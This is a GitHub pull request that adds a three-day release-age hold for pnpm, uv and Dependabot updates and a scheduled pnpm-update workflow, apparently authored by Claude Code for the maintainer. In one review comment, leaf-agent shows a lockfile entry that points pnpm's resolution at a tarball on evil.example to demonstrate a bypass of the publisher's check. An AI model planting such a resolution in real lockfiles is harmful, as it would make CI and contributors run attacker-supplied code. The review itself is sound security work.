Skip to content

Hold every dependency update to three days and move pnpm weekly, so Dependabot's npm updates run again - #7262

Merged
max-sixty merged 10 commits into
mainfrom
agent-aca044a9627b31f4b
Nov 26, 2026
Merged

max-sixty merged 10 commits into
mainfrom
agent-aca044a9627b31f4b

Conversation

@max-sixty

@max-sixty max-sixty commented Nov 26, 2026 •

Copy link
Copy Markdown
Owner

Dependabot's weekly npm group hasn't landed since #4204 on Oct 26 (Pele sat at 1.9.0 through 1.10–1.13). This gets it running again and holds every dependency update, by hand or by Dependabot, to releases at least three days old, with pnpm itself moved weekly.

  • One three-day window. pnpm refuses every Dependabot candidate while the lockfile holds a younger version, and every scheduled npm run since Oct 12 failed that way on a version a hand bump had locked. minimumReleaseAge in pnpm-workspace.yaml, exclude-newer in pyproject.toml and an explicit cooldown on each Dependabot ecosystem now all say three days, with no override. The daily newest-harness check now tests the newest Claude Code and Pi three days old.
  • pnpm 12.23.0, moved weekly. Dependabot can't bump packageManager, so a scheduled pnpm-update workflow, running only main's code, opens a pull request moving it to the newest pnpm three days old. Tend reviews and lands it as it does Dependabot's.
  • Patches keyed by package name, so Dependabot can propose pele, Plot, Web Awesome and Pierre diffs again. A patch that stops applying fails the install.
  • Tend checks every Dependabot ecosystem's job weekly, and a red pnpm-update run files a CI failure report, since GitHub reports neither anywhere else.

To weigh: a security fix now waits three days like everything else, and under pnpm 12 a lockfile holding anything younger fails every install. A uv older than 0.9.17 (Dec 2025) ignores the uv window and re-resolves the lock; the README now states that minimum. Merging runs every ecosystem's Dependabot job, since it edits dependabot.yml.

Asked for by the maintainer. Verified locally with pnpm 12.23.0, uv 0.9.16 through 0.13 and Dependabot's own commands; the commit messages list each check. pnpm run check, the script tests and pre-commit pass.

This was written by Claude Code on behalf of max-sixty

… npm updates run again

`pnpm-workspace.yaml` now sets `minimumReleaseAge: 4320`: pnpm resolves only versions
published at least three days ago, for a contributor's or agent's update as for
Dependabot's. The daily check of `hooks/` against the newest Claude Code and Pi passes
`--config.minimum-release-age=0`, so it still tests each release as it ships.

Dependabot's npm updates resolve under its default three-day cooldown, passed to pnpm
as `--config.minimum-release-age=4320`. pnpm then refuses every candidate while the
lockfile holds a version younger than that, so the job proposes nothing and fails. Every
scheduled npm run since Oct 12 failed this way (Oct 15 on mermaid 12.2.0, Oct 22 on
@zumer/snapdom 3.3.6, Oct 29 on qs 6.17.0, Nov 5 on ip-address 10.7.6), each on a
version a hand bump had locked under three days before, and no npm run was scheduled on
Nov 12 or 19. The last npm group landed in #4204 on Oct 26, so Pele sat at 1.9.0
through 1.10–1.13. Since Oct 10, 8 of 59 direct version changes by hand took a release
under three days old, most of them security fixes.

Reproduced with pnpm 10.34.6 and an empty cache: Dependabot's command against Nov 5's
lockfile, with the window shifted to Nov 5, fails on ip-address 10.7.6; with the window
in `pnpm-workspace.yaml` and the young version excluded, it passes. A frozen install,
and a plain install with an up-to-date lockfile, ignore the window. pnpm 11's
`trustLockfile`, which Dependabot passes from pnpm 11.3, doesn't help: the refusal comes
from resolution, not from verifying the lockfile.

Changing `dependabot.yml` starts every ecosystem's update run, as the Oct 24 and Oct 26
runs show, so merging this runs the npm group.
leaf-agent
leaf-agent previously approved these changes Nov 26, 2026
…k Dependabot's npm job weekly

With patches keyed by package name, pnpm would only warn when a new version no longer
takes a patch, and install the package unpatched. `ignorePatchFailures: false` makes
that an install error, so the dependency-bundles build and CI on Dependabot's PR fail
and Tend repairs or drops the patch there, as it repairs the vendor seams. Bumping
@observablehq/plot to 0.6.19 shows the case: its declarations already carry the
patch's fix, so the patch fails and can go.

Dependabot reports a failed update job only in the repository's run list, so the npm
job failed or didn't run for four weeks without anything noticing. Tend's weekly
vendored-dependency pass now checks it.
@max-sixty max-sixty changed the title Hold every npm update to Dependabot's three-day window, so its weekly npm updates run again Let Dependabot's weekly npm updates run again, patched packages included Nov 26, 2026
leaf-agent
leaf-agent previously approved these changes Nov 26, 2026
Comment thread .claude/skills/running-tend/SKILL.md Resolved
leaf-agent
leaf-agent previously approved these changes Nov 26, 2026
…e weekly cycle

The maintainer's call: three days for everything, with no exception for a security fix
or the daily newest-harness check, and pnpm on the same weekly cycle as the rest.

- Dependabot states `cooldown: default-days: 3` on each ecosystem. It was already its
  default for all three: dependabot-core's `Job::DEFAULT_COOLDOWN_DAYS = 3`, and this
  week's GitHub Actions and uv runs log "cooldown days 3" and "Filtered out N versions
  due to cooldown".
- `uv lock` takes `exclude-newer = "3 days"`. uv 0.13 records only the span in
  `uv.lock`, so `uv lock --check` stays true as time passes; uv 0.10 through 0.13 read
  the lock as current, while 0.9.x relocks once. Dependabot's uv (0.13.7) running its
  `uv lock --upgrade-package` command keeps the setting and refuses a version under
  three days old.
- The scheduled hook check drops `--config.minimum-release-age=0`. Under the gate,
  pnpm 12 resolves `@latest` to the newest release three days old (Claude Code 2.1.330
  and Pi 1.6.0 today, against latest 2.1.332 and 1.6.1) rather than failing.
- pnpm moves to 12.23.0, the newest 12.x three days old. pnpm 11 stopped reading the
  `pnpm` field of `package.json`, so `overrides` and `patchedDependencies` move to
  `pnpm-workspace.yaml`; `ignorePatchFailures` is gone, as a failed patch now fails the
  install by default; `@google/genai` and `protobufjs`, whose build scripts pnpm 10
  skipped without saying, are now declared skipped. The lockfile gains a first
  document locking pnpm itself, so check-yaml now allows several documents. The
  bundles build to the same bytes, and `pnpm run check` passes.
- Each Dependabot npm pull request now also moves pnpm. Dependabot can't move
  `packageManager` (dependabot/dependabot-core#4830), and `pnpm self-update` alone
  takes the `latest` tag whatever its age, so the dependency-bundles build picks the
  newest release `minimumReleaseAge` admits and runs `pnpm self-update <version>`
  before installing and building. The publisher accepts the two files only where
  `packageManager` is the one change to `package.json` and the lockfile's first
  document names only that pnpm and its platform binaries, by integrity.
- Tend's weekly check covers every ecosystem's update job.

Verified with pnpm 12.23.0 and empty caches: a lockfile holding a version under three
days old fails a frozen install, a plain install and Dependabot's update (with or
without `--config.trust-lockfile=true`); a patch that no longer applies fails the
install; Dependabot's update of a patched package and the following frozen install
pass; a self-update from 12.21.0 to the picked 12.23.0, in a fresh home, passes the
publisher's check and a frozen install. dependabot-core reads the last document of a
pnpm 11+ lockfile (`PnpmResolutions`).
@max-sixty max-sixty changed the title Let Dependabot's weekly npm updates run again, patched packages included Hold every dependency update to three days and move pnpm weekly, so Dependabot's npm updates run again Nov 26, 2026

@leaf-agent leaf-agent left a comment

Copy link
Copy Markdown
Collaborator

Choose a reason for hiding this comment

The reason will be displayed to describe this comment to others. Learn more.

The new pnpm-pin check in the publisher can be bypassed, so a tampered build can still pin pnpm to a tarball URL. It's meant to accept a lockfile whose first document fetches each pnpm binary "by integrity alone", but it only inspects resolution: written as a one-line flow map on the same line. A block-form resolution never matches /resolution: (.*)$/:

  [email protected]:
    resolution:
      tarball: https://evil.example/pnpm.tgz
      integrity: sha512-d29ybGQ=

I swapped that into the test's lockfile("1.1.0") fixture with the matching manifest("1.1.0"), and publish returned "generated-commit". The {tarball: …} case in your rejection test fails only because it's written in flow form. A quoted key ("resolution": {tarball: …}) gets through the same way. The build that produces the artifact runs the dependency update's code with no secrets, and this check is the only thing between that build and a pnpm that every CI job and contributor install would then run. So the gap undoes the point of the check.

The inline suggestion catches the block and quoted forms. YAML's explicit-key syntax (? resolution) would still get past any key-matching regex. The sturdier fix is to check every line after packages: in the first document against the few shapes pnpm writes there: package keys, resolution: {integrity: …}, engines/os/cpu/libc/hasBin/optional, and optionalDependencies entries. Reject anything else.

Comment thread .github/scripts/dependency-bundles.mjs Resolved
…m can smuggle in a tarball

The publisher checked the first lockfile document's package keys and its one-line
`resolution:` values by regex, so a block-form, quoted-key or explicit-key resolution
naming a tarball got through (leaf-agent's review). Every line from `packages:` on
must now match one of the shapes pnpm writes for pnpm and its platform binaries;
anything else fails. A real self-update from 12.21.0 to 12.23.0 still passes.
leaf-agent
leaf-agent previously approved these changes Nov 26, 2026
The dependency-bundles build that moved `packageManager` on each Dependabot npm pull
request ran the update's dependency install scripts, and the privileged publisher kept
its lockfile edit safe only with a line-shape validator, which had already needed a
security fix. That path is gone: the publisher accepts bundles only again, as on main.

A scheduled pnpm-update workflow now runs only main's code. It picks the newest pnpm
`minimumReleaseAge` admits (`.github/scripts/mature-pnpm.mjs`), runs
`pnpm self-update <version>`, which rewrites `packageManager` and the lockfile's first
document and installs no dependency, and force-pushes the result to a `pnpm-update`
branch, skipping a week whose move is already on main or on the open pull request.
Tend's bot account pushes and opens the pull request, so CI runs on it, and records
the head with `tend runtime land-pr pushed`: Tend lands a pull request by a user
account, as leaf-agent is, only on a head carrying that record
(`land_pr.intend`), where Dependabot's, by a Bot account, need none. Tend's review
then records it for tend-land as it does Dependabot's. A red pnpm-update run files a
CI failure report (`watched_workflows`).

`git` and `gh` open the pull request rather than a third-party action, which would
hold the bot's token.

uv: the first release that reads a relative `exclude-newer` is 0.9.17 (2025-12-09).
A `required-version` can't hold older uv off: uv 0.9.16 can't parse the
`[tool.uv]` table, ignores all of it with a warning, `required-version` included,
and re-resolves the lock without the window (Leaf still runs, on unlocked versions).
`uv.toml`, whose parse error does stop old uv, isn't fetched by Dependabot's uv
updater, so its uv pull requests would lock without the window. The README states
the minimum, beside jq's.
…reading the file

The workflow reads the window with `pnpm config get minimumReleaseAge` and passes it
as an argument, so pnpm stays the only reader of its setting.
@max-sixty
max-sixty merged commit 7dcee73 into main Nov 26, 2026
7 checks passed
@max-sixty
max-sixty deleted the agent-aca044a9627b31f4b branch November 26, 2026 19:41
Sign up for free to join this conversation on GitHub. Already have an account? Sign in to comment

Labels

None yet

Projects

None yet

Development

Successfully merging this pull request may close these issues.

2 participants